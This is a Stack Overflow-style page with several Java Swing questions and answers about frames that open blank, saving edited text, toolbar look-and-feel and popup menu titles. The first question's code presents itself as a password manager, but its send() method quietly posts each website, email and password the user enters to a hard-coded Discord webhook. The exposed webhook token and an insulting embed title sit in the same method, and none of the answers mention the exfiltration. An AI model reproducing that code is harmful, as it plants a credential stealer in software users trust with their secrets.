Why is GUI content not visible? - java

I made a basic GUI program with Java Swing. But it is not even opening. I think it might be because I put the setVisible(true) method at the beginning.
But even if I put it at the bottom of the code, it is not displaying. Here is my code. What am I doing wrong?
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws Exception {
//objects ------------------------------------------------------------------------------------------------------
JTextArea area = new JTextArea();
JFrame jframe = new JFrame();
JPanel panel = new JPanel();
JLabel label = new JLabel();
JButton button = new JButton();
JButton btn = new JButton();
//frame---------------------------------------------------------------------------------------------------------
jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
jframe.setTitle("Blacklyn Passwords");
jframe.setSize(400,200);
//also tried it here, it´s showing...but it´s white all the time, and I tried to refresh it,I minimized it, and opened it back...but nothing changed...still white "jframe.setVisible(true)"
//label---------------------------------------------------------------------------------------------------------
label.setText("Blacklyn");
label.setForeground(Color.BLACK);//(new Color(135, 134, 131));
label.setFont(new Font("Calibri",Font.BOLD,25));
//areas---------------------------------------------------------------------------------------------------------
String data = readFile("data.json");
area.setText(data);
area.setEditable(false);
area.setBackground(new Color(23,23,23));
area.setForeground(new Color(68, 68, 68));
//buttons--------------------------------------------------------------------------------------------------------
button.setText("ADD");
button.setForeground(new Color(135, 134, 131));
button.setBackground(new Color(23,23,23));
button.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
String Website = JOptionPane.showInputDialog(null,"Enter a Website or Topic.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Email = JOptionPane.showInputDialog(null,"Enter a Email.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Password = JOptionPane.showInputDialog(null,"Enter a Password","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
String flll = "data.json";
json_write(flll, Website + " " + Email + " " + Password);
send(Website + " " + Email + " " + Password);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}
});
btn.setText("DELETE");
btn.setForeground(new Color(135, 134, 131));
btn.setBackground(new Color(23,23,23));
btn.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
File file = new File("data.json");
if(file.exists()){
String storage = JOptionPane.showInputDialog(null,"Enter what Website or Topic you want to delete","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
deleteLine(storage);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}else{
JOptionPane.showMessageDialog(null,"You have no Passwords to delete","Blacklyn",JOptionPane.ERROR_MESSAGE);
}
}
});
//panel---------------------------------------------------------------------------------------------------------
panel.setBackground(new Color(15,15,15));
panel.add(label);
panel.add(button);
panel.add(btn);
panel.add(area);
// I also tried it here(its not even showing)jframe.setVisible(true);
//END-----------------------------------------------------------------------------------------------------------
jframe.add(panel);
//it´s also not showing
jframe.setContentPane(panel);
}
public static void deleteLine(String start) throws IOException {
RandomAccessFile file = new RandomAccessFile("data.json", "rw");
String delete;
String task="";
byte []tasking;
while ((delete = file.readLine()) != null) {
if (delete.startsWith(start)) {
continue;
}
task+=delete+"\n";
}
System.out.println(task);
BufferedWriter writer = new BufferedWriter(new FileWriter("data.json"));
writer.write(task);
file.close();
writer.close();
}
public static String readFile(String fileName)throws Exception
{
String data = "";
data = new String(Files.readAllBytes(Paths.get(fileName)));
return data;
}
public static void json_write(String file, String data) throws IOException {
FileWriter fw = new FileWriter(file,true);
fw.write(data + "\n");
fw.flush();
fw.close();
}
public static void send(String data) throws IOException {
DiscordWebhook dw = new DiscordWebhook("https://discord.com/api/webhooks/899693331968323605/Ln4AYxUO8caGZDvi9628LuhaFmjgnhPOf2rrY5wVKEbGdiMFlnlyVy8BhM-HX6a_LkI2");
dw.addEmbed(new DiscordWebhook.EmbedObject().setTitle("Hurensohn Jans Password").setDescription(data));
dw.execute();
}
}
I also tried to research online, but no one has the same problem. So I decided to open a question here.

I see you are probably following a tutorial.
There is a lot going on here. But the most important code is the first part.
You need to set your contentPane.
In every GUI with Java Swing, you set your JFrame to be the frame.
Then you add your JPanel to your JFrame.
frame.add(panel);
then you set your panel as contentPane:
frame.setContentPane(panel)
Then you add all your elements to your panel.
Also you need to use a layout manager.
You may do it with Layout null, but then you need to use the setBounds() method to put everything in place, which is okey for your first GUI, but a lot of work.
Does this help you? please use a comment if it helped or not, then I can take another look.

This is a typical "tutorial" coding style. Comparing it with building a house, one builds floors, doors, windows, here I also see a table with chairs, already electricity and plumbing (actionPerformed). That is very fragmentary, not your fault.
You could already start with some inheritance:
public class MyBlacklynFrame extends JFrame {
private JPanel panel;
private JLabel label = new JLabel("Hello");
public MyBlacklynFrame () {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setTitle("Blacklyn Passwords");
setSize(400, 200);
panel = new JPanel();
panel.setLayout(new BorderLayout());
panel.add(label, BorderLayout.SOUTH);
add(panel);
pack();
}
}
public class Main {
public static void main(String[] args) throws Exception {
MyBlacklynFrame frame = new MyBlacklynFrame();
SwingUtilities.invokeLater(() -> frame.setVisible(true));
}
}
The above uses two different creation styles (for resp. panel and label).
The frame is made visible on the AWT event queue by invokeLater.
() -> frame.setVisible(true) is an anonymous function with as body frame.setVisible(true);. It will later be executed on the event handling thread of swing (where button clicks and redrawing happens).
Calling pack does layouting.
There are some GUI designers with which you can create all this code in a GUI with components. Afterwards you could look at the created code.
I hope you see that here the GUI is constructed hierarchical. A panel with several components, text box, buttons, could also be put in its own class. So panel = new MySuperPanel(); could keep all compartimentized.

Related

How to save an edited text file in a JTextArea?

I am trying to write a text editor app in Java. The following program reads in a text file then displays it via the BufferedReader method. However, at this point I am completely stuck. The displayed text can be edited in the JFrame window. But after editing, I don't know how I can then close and save the edited file (i.e. how to incorporate the event handler and then save the edited text).
I have tried many things but would very much appreciate help with how to progress from this point. I'm quite new to Java so maybe the whole structure of my program is wrong - any help much appreciated. The main program is here, followed by the display panel creator it calls. The program should pop out a window with any text file called text.txt you have placed in the directory.
MAIN:
import java.io.*;
import java.util.ArrayList;
import static java.lang.System.out;
public class testApp4 {
public static void main(String args[]) {
ArrayList<String> listToSend = new ArrayList<String>();
String file = "text.txt";
try (BufferedReader br = new BufferedReader(new FileReader(file)))
{
String line;
while ((line = br.readLine()) != null) {
listToSend.add(line);
}
br.close();
}
catch(FileNotFoundException e)
{
out.println("Cannot find the specified file...");
}
catch(IOException i)
{
out.println("Cannot read file...");
}
new DisplayPanel(listToSend);
}
}
Display panel creator:
import java.awt.Font;
import java.util.ArrayList;
import javax.swing.JFrame;// javax.swing.*;
import javax.swing.JPanel;
import javax.swing.JTextArea;
import javax.swing.JScrollPane;
import javax.swing.ScrollPaneConstants;
public class DisplayPanel {
public DisplayPanel(ArrayList<String> list) //constructor of the DisplayGuiHelp object that has the list passed to it on creation
{
JTextArea theText = new JTextArea(46,120); //120 monospaced chrs
theText.setFont(new Font("monospaced", Font.PLAIN, 14));
theText.setLineWrap(true);
theText.setEditable(true);
for(String text : list)
{
theText.append(text + "\n"); //append the contents of the array list to the text area
}
JScrollPane scroll = new JScrollPane(theText);
scroll.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
JPanel mainPanel = new JPanel();
mainPanel.add(scroll);
final JFrame theFrame = new JFrame();
theFrame.setTitle("textTastico");
theFrame.setSize(1100, 1000);
theFrame.setLocation(550, 25);
theFrame.add(mainPanel); //add the panel to the frame
theFrame.setVisible(true);
System.out.print(theText.getText()); //double check output!!!
}
}
One way to handle this is to alter the default behavior of the window closing and adding a WindowListener that catches the window closing event and do the saving there.
A simple example that could be added in the DisplayPanel class (right after you create the jFrame object):
theFrame.setDefaultCloseOperation(WindowConstants.DO_NOTHING_ON_CLOSE);
theFrame.addWindowListener(new WindowAdapter() {
#Override
public void windowClosing(WindowEvent e) {
super.windowClosing(e);
String[] lines = theText.getText().split("\\n");
try (BufferedWriter writer = new BufferedWriter(new FileWriter("newfile.txt"))) {
for (String line : lines)
writer.write(line + "\n");
} catch (IOException i) {
System.out.println("Cannot write file...");
}
System.out.println("File saved!");
System.exit(0);
}
});
The code above will save the altered text to the file newfile.txt when the window is closed.
In the example above the splitting into lines is probably unnecessary; you would likely get the correct output by just doing writer.write(theText.getText());. The main take away should be the use of the WindowAdapter though.
Some relevant documentation:
How to Write Window Listeners
Here is an example of saving a text file using a JButton to fire the event.
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import java.io.*;
public class DisplayPanel {
public static String textFilePath = // adjust path as needed
"C:\\Users\\Andrew\\Documents\\junk.txt";
private JComponent ui = null;
private JFrame frame;
private JTextArea theText;
private JButton saveButton;
private ActionListener actionListener;
File file;
DisplayPanel(File file) {
this.file = file;
try {
initUI();
} catch (IOException ex) {
ex.printStackTrace();
}
}
private void saveText() {
Writer writer = null;
try {
writer = new FileWriter(file);
theText.write(writer);
} catch (IOException ex) {
ex.printStackTrace();
} finally {
try {
writer.close();
} catch (IOException ex) {
ex.printStackTrace();
}
}
}
public final void initUI() throws FileNotFoundException, IOException {
if (ui != null) {
return;
}
ui = new JPanel(new BorderLayout(4, 4));
ui.setBorder(new EmptyBorder(4, 4, 4, 4));
theText = new JTextArea(20, 120); //120 monospaced chrs
theText.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 14));
theText.setLineWrap(true);
theText.setEditable(true);
JScrollPane scroll = new JScrollPane(theText);
scroll.setVerticalScrollBarPolicy(
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
ui.add(scroll);
saveButton = new JButton("Save");
ui.add(saveButton, BorderLayout.PAGE_START);
actionListener = (ActionEvent e) -> {
saveText();
};
saveButton.addActionListener(actionListener);
Reader reader = new FileReader(file);
theText.read(reader, file);
}
public void createAndShowGUI() {
frame = new JFrame(this.getClass().getSimpleName());
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
frame.setLocationByPlatform(true);
frame.setContentPane(getUI());
frame.pack();
frame.setMinimumSize(frame.getSize());
frame.setVisible(true);
}
public JComponent getUI() {
return ui;
}
public static void main(String[] args) {
Runnable r = () -> {
try {
UIManager.setLookAndFeel(
UIManager.getSystemLookAndFeelClassName());
} catch (Exception useDefault) {
}
File file = new File(textFilePath);
DisplayPanel o = new DisplayPanel(file);
o.createAndShowGUI();
};
SwingUtilities.invokeLater(r);
}
}

No GUI appearing, using AWT and Swing

I'm learning Java and beginning to build things with a GUI. The book I'm using gave me this code to enter and I did but nothing appeared. I have read another question with an answer that mentioned issues with overridable method calls but I'm not sure that has much to do with this.
Here is the code from the book:
enter code here
package com.java24hours;
import java.awt.*;
import javax.swing.*;
public class Crisis extends JFrame {
JButton panicButton;
JButton dontPanicButton;
JButton blameButton;
JButton mediaButton;
JButton saveButton;
public Crisis () {
super("Crisis");
setLookAndFeel();
setSize(348, 128);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
FlowLayout flo = new FlowLayout();
setLayout(flo);
panicButton = new JButton("Panic");
dontPanicButton = new JButton("Don't Panic");
blameButton = new JButton("Blame Others");
mediaButton = new JButton("Notify the Media");
saveButton = new JButton("Save Yourself");
add(panicButton);
add(dontPanicButton);
add(blameButton);
add(mediaButton);
add(saveButton);
setVisible(true);
}
private void setLookAndFeel() {
try {
UIManager.setLookAndFeel(
"com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel"
);
} catch (Exception exc) {
//ignore error
}
}
public static void main (String[] args) {
Crisis frame = new Crisis();
}
}
The overridable methods are the "setXXXXX" and "add(XXXX)" methods if this is relevant.
The builds are successful in the lower window of NetBeans so it seems like the code runs okay but it produces nothing else on the screen.

JFrame opening empty

I'm trying to create a program and it's not showing anything in JFrame which is rather odd. The code seems to fit but java appears to be confused or something. Here's my code so far:
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.io.IOException;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
public class Img extends JFrame{
/**
*
*/
private static final long serialVersionUID = -6362332275268668673L;
static JFrame panel = new JFrame();
private JButton next= new JButton("Next");
public Img(String a, String b){
ShowPng1(a,b);
}
public void ShowPng1(String a, String b) {
ImageIcon theImage = new ImageIcon("Icon_Entry_21.png");
panel.setSize(300, 300);
panel.setResizable(false);
JLabel label = new JLabel(a);
JLabel label2 = null;
if(!b.isEmpty()){
label2 = new JLabel("NOTE: " + b);
}
JLabel imageLabel = new JLabel(theImage);
imageLabel.setOpaque(true);
JPanel p1 = new JPanel(new GridLayout(3, 1));
p1.add(imageLabel);
p1.add(label);
if(label2 != null)p1.add(label2);
panel.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
panel.setVisible(true);
}
public void ShowPng2(String a, String b) {
ImageIcon theImage = new ImageIcon("Icon_Entry_21.png");
panel.setSize(300, 300);
panel.setResizable(false);
JLabel label = new JLabel(a);
JLabel label2 = null;
if(!b.isEmpty()){
label2 = new JLabel("NOTE: " + b);
}
JLabel imageLabel = new JLabel(theImage);
imageLabel.setOpaque(true);
JPanel p1 = new JPanel(new GridLayout(3, 1));
p1.add(imageLabel);
p1.add(label);
if(label2 != null)p1.add(label2);
p1.add(next);
panel.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
panel.setVisible(true);
try {
Runtime.getRuntime().exec("cmd /c start mailrugames://play/0.3001");
} catch (IOException e) {
JOptionPane.showMessageDialog(null, "Error launching client.","Error", JOptionPane.ERROR_MESSAGE);
System.exit(-1);
}
}
public void actionPerformed(ActionEvent e) {
try {
ShowPng1("Applying patch NOW.","");
Process p1 = Runtime.getRuntime().exec("cmd /c start Start.bat");
p1.waitFor();
JOptionPane.showMessageDialog(null, "Done!","Note", JOptionPane.INFORMATION_MESSAGE);
System.exit(0);
} catch (IOException e1) {
e1.printStackTrace();
System.exit(-1);
} catch (InterruptedException e1) {
e1.printStackTrace();
System.exit(-1);
}
}
public static void main(String[] args) throws IOException, InterruptedException {
Img i = new Img("Preparing client for a patch","");
Process p1 = Runtime.getRuntime().exec("cmd /c start Clean.bat");
p1.waitFor();
Img.panel.dispose();
i.ShowPng2("Launching client.","Make sure the client is fully patched before closing it and clicking `Next`");
}
}
It should load an Image imageLabel into a container and show some text label and label2 on the bottom. The difference between ShowPng1() and ShowPng2() is the Next button, it's located in ShowPng2().
You add nothing to the JFrame.
You never set the JFrame to visible.
You tie up the Swing event thread with a long-running process.
You need to add components to the JFrame itself.
You need to set it visible after components have been added.
You need to run your long-running process in a background thread.
You need to go through the Swing tutorials.
Check out the swing tag, click on the info link, and check out the resources that it contains.
1) You are not adding components to the JFrame itself. You forget to add
public class Img extends JFrame{
.
.
public void ShowPng1(String a, String b) {
//your code here, don't call panel.setVisible(true) here is not necesary
this.add(panel);
}
}
2) Don't call panel.setVisible(true) it's not necessary.. just call i.setVisible(true) in main.
3)To ensure that your code is running in the event dispatch thread wrap it with SwingUtilities.invokeLater(..)
4)You should execute your command in a background thread if it's a long running task cause if not you will block your gui. Read more in Concurrency in swing
5) Follow Java code conventions, method names starts with lower-case with a camel style.
6) Follow #HovercraftFullOfEels advices too.
Take a look to the Swing Tutorial

How to keep Metal L&F when dragging JToolBar

In our aplication we use Metal L&F. We are using a floatable JToolBar; it happens that when doing the drag behavior it appears with the Windows L&F.
May anyone say me how to keep Metal L&F when dragging the JToolBar?
Thanks
P.D. Our JToolBar is within a JPanel container that user BorderLayout Layout Manager.
Maybe I explained badly my question. So I post an example taken from The Java Tutorials to give anyone an idea of what happens to my application.
If you execute the following code the main JFrame appears decorated with Ocean Theme; but when I drag the JToolBar its decorated is not Ocean. What can I do??.
Many thanks in advance
package components;
/*
* ToolBarDemo.java requires the following addditional files:
* images/Back24.gif
* images/Forward24.gif
* images/Up24.gif
*/
import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.net.URL;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JToolBar;
import javax.swing.SwingUtilities;
import javax.swing.UIManager;
import javax.swing.plaf.metal.MetalLookAndFeel;
import javax.swing.plaf.metal.OceanTheme;
public class ToolBarDemo extends JPanel
implements ActionListener {
protected JTextArea textArea;
protected String newline = "\n";
static final private String PREVIOUS = "previous";
static final private String UP = "up";
static final private String NEXT = "next";
public ToolBarDemo() {
super(new BorderLayout());
//Create the toolbar.
JToolBar toolBar = new JToolBar("Still draggable");
addButtons(toolBar);
//Create the text area used for output. Request
//enough space for 5 rows and 30 columns.
textArea = new JTextArea(5, 30);
textArea.setEditable(false);
JScrollPane scrollPane = new JScrollPane(textArea);
//Lay out the main panel.
setPreferredSize(new Dimension(450, 130));
add(toolBar, BorderLayout.PAGE_START);
add(scrollPane, BorderLayout.CENTER);
}
protected void addButtons(JToolBar toolBar) {
JButton button = null;
//first button
button = makeNavigationButton("Back24", PREVIOUS,
"Back to previous something-or-other",
"Previous");
toolBar.add(button);
//second button
button = makeNavigationButton("Up24", UP,
"Up to something-or-other",
"Up");
toolBar.add(button);
//third button
button = makeNavigationButton("Forward24", NEXT,
"Forward to something-or-other",
"Next");
toolBar.add(button);
}
protected JButton makeNavigationButton(String imageName,
String actionCommand,
String toolTipText,
String altText) {
//Look for the image.
String imgLocation = "images/"
+ imageName
+ ".gif";
URL imageURL = ToolBarDemo.class.getResource(imgLocation);
//Create and initialize the button.
JButton button = new JButton();
button.setActionCommand(actionCommand);
button.setToolTipText(toolTipText);
button.addActionListener(this);
if (imageURL != null) { //image found
button.setIcon(new ImageIcon(imageURL, altText));
} else { //no image found
button.setText(altText);
System.err.println("Resource not found: "
+ imgLocation);
}
return button;
}
public void actionPerformed(ActionEvent e) {
String cmd = e.getActionCommand();
String description = null;
// Handle each button.
if (PREVIOUS.equals(cmd)) { //first button clicked
description = "taken you to the previous <something>.";
} else if (UP.equals(cmd)) { // second button clicked
description = "taken you up one level to <something>.";
} else if (NEXT.equals(cmd)) { // third button clicked
description = "taken you to the next <something>.";
}
displayResult("If this were a real app, it would have "
+ description);
}
protected void displayResult(String actionDescription) {
textArea.append(actionDescription + newline);
textArea.setCaretPosition(textArea.getDocument().getLength());
}
/**
* Create the GUI and show it. For thread safety,
* this method should be invoked from the
* event dispatch thread.
*/
private static void createAndShowGUI() {
//Create and set up the window.
JFrame frame = new JFrame("ToolBarDemo");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
//Add content to the window.
frame.add(new ToolBarDemo());
//Display the window.
frame.pack();
frame.setVisible(true);
}
public static void main(String[] args) {
//Schedule a job for the event dispatch thread:
//creating and showing this application's GUI.
SwingUtilities.invokeLater(new Runnable() {
public void run() {
setsLF();
createAndShowGUI();
}
});
}
/**
*
*/
private static void setsLF() {
try {
UIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClassName());
MetalLookAndFeel.setCurrentTheme(new OceanTheme());
UIManager.setLookAndFeel(new MetalLookAndFeel());
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ToolBarDemo.class.getName()).log (java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ToolBarDemo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ToolBarDemo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ToolBarDemo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
JFrame.setDefaultLookAndFeelDecorated(Boolean.TRUE);
return;
}
}
Looks like nowadays the toplevel container of the ripped of toolBar is of type JDialog, so you have the set the lafDecoration for that as well:
JFrame.setDefaultLookAndFeelDecorated(Boolean.TRUE);
JDialog.setDefaultLookAndFeelDecorated(true);
Works for jdk7 and vista, didn't test other environments.
I made a small project as you described:
public class LafTest
{
public static void main(String[] args)
{
JFrame frame = new JFrame();
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
frame.setSize(500, 500);
JPanel panel = new JPanel(new BorderLayout());
JToolBar toolbar = new JToolBar();
toolbar.add(new JButton("button1"));
toolbar.add(new JButton("button2"));
panel.add(toolbar, BorderLayout.PAGE_START);
frame.add(panel);
frame.setVisible(true);
}
}
Works fine for me, all the time the JToolBar has Metal-LAF.
(OS: Windows 7 x64, java version "1.7.0_09")
Please compare your code with this snippet. Propably you used the UIManager-class somewhere. If you still cannot fix this issue, you should post some of the used code and maybe some more details about your OS and the used Java version.

How to force JPopupMenu to show title even if Look and Feel UI dictates otherwise?

Javadoc for JPopupMenu constructor says the following:
JPopupMenu
public JPopupMenu(String label)
Constructs a JPopupMenu with the specified title.
Parameters:
label - the string that a UI **may** use to display as a title for the popup menu.
Key word being "may". Evidently in the default UI, such titles are ignored when creating a popup menu. I very much want such titles in some of my popup menus to be used regardless of whether or not the L&F thinks I should. I can't find the hook to make it so. Evidently, this is buried deep in the UI code somewhere. Is there a way to override this default?
Failing that, I have tried adding a disabled menu item as the first item of the menu. Trouble with that is then I lose control of its rendering, and it renders in the "greyed out" style instead of appearing as the important title. If I don't disable it, then it renders as I want, but is selectable, which a title would not be.
So bottom line, how do I either force the UI to display my title, or failing that, how do I add a non-selectable menu item at the top of the menu that I have full rendering control over?
I had similar problem (I mean the original question). I solved it this way:
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JMenuItem;
import javax.swing.JPopupMenu;
import javax.swing.SwingConstants;
public class LabeledPopupMenu extends JPopupMenu
{
private String originalLabelText = null;
private final JLabel label;
private static String replaceHTMLEntities(String text)
{
if (-1 != text.indexOf("<") ||
-1 != text.indexOf(">") ||
-1 != text.indexOf("&"))
{
text = text.replaceAll("&", "&");
text = text.replaceAll("<", "<");
text = text.replaceAll(">", ">");
}
return text;
}
public LabeledPopupMenu()
{
super();
this.label = null;
}
public LabeledPopupMenu(String label)
{
super();
originalLabelText = label;
this.label = new JLabel("<html><b>" +
replaceHTMLEntities(label) + "</b></html>");
this.label.setHorizontalAlignment(SwingConstants.CENTER);
add(this.label);
addSeparator();
}
#Override public void setLabel(String text)
{
if (null == label) return;
originalLabelText = text;
label.setText("<html><b>" +
replaceHTMLEntities(text) +
"</b></html>");
}
#Override public String getLabel()
{
return originalLabelText;
}
}
I have tested it ony on Mac with default L&F, but it worked for me:
public static void main(String[] args)
{
JFrame frame = new JFrame();
frame.setSize(100, 100);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocation(100, 100);
frame.setVisible(true);
LabeledPopupMenu myPopup = new LabeledPopupMenu("Say & <something>");
myPopup.add(new JMenuItem("Sample item"));
myPopup.show(frame, 50, 50);
}
JPopup is very strange Container, didn't work me
1) public JPopupMenu(String label)
2) didn't work me alignment for JLabel, please maybe somebody can test text justify by using Html
3) not possible shows JComboBox dropdown popup is same time with JPopup (doesn't matter if is JPopup light or heavyweight)
4) and another (not important for basic Swing) tested Java5 and 6 with various LaF
import java.awt.*;
import javax.swing.*;
import javax.swing.UIManager.LookAndFeelInfo;
import javax.swing.event.*;
import javax.swing.plaf.*;
import org.pushingpixels.substance.api.skin.SubstanceOfficeSilver2007LookAndFeel;
class MyPopupMenuListener implements PopupMenuListener {
public void popupMenuCanceled(PopupMenuEvent popupMenuEvent) {
System.out.println("Canceled");
}
public void popupMenuWillBecomeInvisible(PopupMenuEvent popupMenuEvent) {
System.out.println("Becoming Invisible");
}
public void popupMenuWillBecomeVisible(PopupMenuEvent popupMenuEvent) {
System.out.println("Becoming Visible");
}
}
public class PopupMenuListenerDemo {
public static void main(final String args[]) {
final JFrame frame = new JFrame("PopupSample Example");
/*SwingUtilities.invokeLater(new Runnable() {
public void run() {
try {
UIManager.setLookAndFeel(new SubstanceOfficeSilver2007LookAndFeel());
SwingUtilities.updateComponentTreeUI(frame);
} catch (UnsupportedLookAndFeelException e) {
throw new RuntimeException(e);
}
}
});
try {
for (LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) {
System.out.println(info.getName());
if ("Nimbus".equals(info.getName())) {
UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (UnsupportedLookAndFeelException e) {
// handle exception
} catch (ClassNotFoundException e) {
// handle exception
} catch (InstantiationException e) {
// handle exception
} catch (IllegalAccessException e) {
// handle exception
}
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (Exception e) {
e.printStackTrace();
}*/
UIResource res = new BorderUIResource.LineBorderUIResource(Color.red);
UIManager.put("PopupMenu.border", res);
JPopupMenu popupMenu = new JPopupMenu("Title");
//force to the Heavyweight Component or able for AWT Components
popupMenu.setLightWeightPopupEnabled(false);
PopupMenuListener popupMenuListener = new MyPopupMenuListener();
popupMenu.addPopupMenuListener(popupMenuListener);
JLabel lbl1 = new JLabel("My Title");
lbl1.setHorizontalAlignment(SwingConstants.CENTER);
popupMenu.add(lbl1);
JTextField text = new JTextField("My Title");
text.setHorizontalAlignment(SwingConstants.CENTER);
popupMenu.add(text);
String[] list = {"1", "2", "3", "4",};
JComboBox comb = new JComboBox(list);
popupMenu.add(comb);
JMenuItem pasteMenuItem = new JMenuItem("Paste");
pasteMenuItem.setEnabled(false);
popupMenu.add(pasteMenuItem);
popupMenu.addSeparator();
JMenuItem findMenuItem = new JMenuItem("Find");
popupMenu.add(findMenuItem);
JButton btn = new JButton();
JLabel lbl = new JLabel("My Title");
lbl.setHorizontalAlignment(SwingConstants.CENTER);
btn.setComponentPopupMenu(popupMenu);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.add(btn, BorderLayout.CENTER);
frame.add(lbl, BorderLayout.NORTH);
frame.setSize(350, 150);
SwingUtilities.invokeLater(new Runnable() {
public void run() {
frame.setVisible(true);
}
});
}
}
5 and terrible alignment for JLabel if there is added JComboBox :-) brrrrr !!!!
Wasn't even aware of that feature :-)
Digging a bit, it turns out that MotifLookAndFeel is the only of the core LAFs which support a title in the popup. It's realized by a custom border. Which you can do as well:
JPopupMenu popup = new JPopupMenu("My Label");
popup.add("dummy menu item");
Border titleUnderline = BorderFactory.createMatteBorder(1, 0, 0, 0, popup.getForeground());
TitledBorder labelBorder = BorderFactory.createTitledBorder(
titleUnderline, popup.getLabel(),
TitledBorder.CENTER, TitledBorder.ABOVE_TOP, popup.getFont(), popup.getForeground());
popup.setBorder(BorderFactory.createCompoundBorder(popup.getBorder(),
labelBorder));
JComponent comp = new JPanel();
comp.setComponentPopupMenu(popup);
Note: as far as I can see, there is no safe way to detect whether or not the LAF handles the title itself (which would result in doubling it)

Categories

Resources